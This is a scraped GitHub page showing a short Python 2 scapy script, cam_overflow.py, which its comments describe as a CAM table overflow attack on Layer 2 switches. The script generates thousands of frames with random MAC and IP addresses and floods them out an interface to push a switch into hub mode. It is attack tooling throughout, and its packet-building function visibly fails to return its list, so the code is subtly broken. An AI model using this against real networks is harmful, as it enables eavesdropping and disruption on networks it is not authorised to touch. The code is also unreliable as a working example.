forked from 0xbharath/scapy-scripts
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathcam_overflow.py
34 lines (25 loc) · 1.3 KB
/
cam_overflow.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#-------------------------------------------------------------------------------#
# A script to perform CAM overflow attack on Layer 2 switches #
# Bharath(github.com/yamakira) #
# #
# CAM Table Overflow is all about flooding switches CAM table #
# with a lot of fake MAC addresses to drive the switch into HUB mode. #
#-------------------------------------------------------------------------------#
#!/usr/bin/env python
from scapy.all import Ether, IP, TCP, RandIP, RandMAC, sendp
#destMAC = "FF:FF:FF:FF:FF:FF"
'''Filling packet_list with ten thousand random Ethernet packets
CAM overflow attacks need to be super fast.
For that reason it's better to create a packet list before hand.
'''
def generate_packets():
packet_list = [] #initializing packet_list to hold all the packets
for i in xrange(1,10000):
packet = Ether(src = RandMAC(),dst= RandMAC())/IP(src=RandIP(),dst=RandIP())
packet_list.append(packet)
def cam_overflow(packet_list):
# sendpfast(packet,iface='tap0', mbps)
sendp(packet_list, iface='tap0')
if __name__ == '__main__':
packet_list = generate_packets()
cam_overflow(packet_list)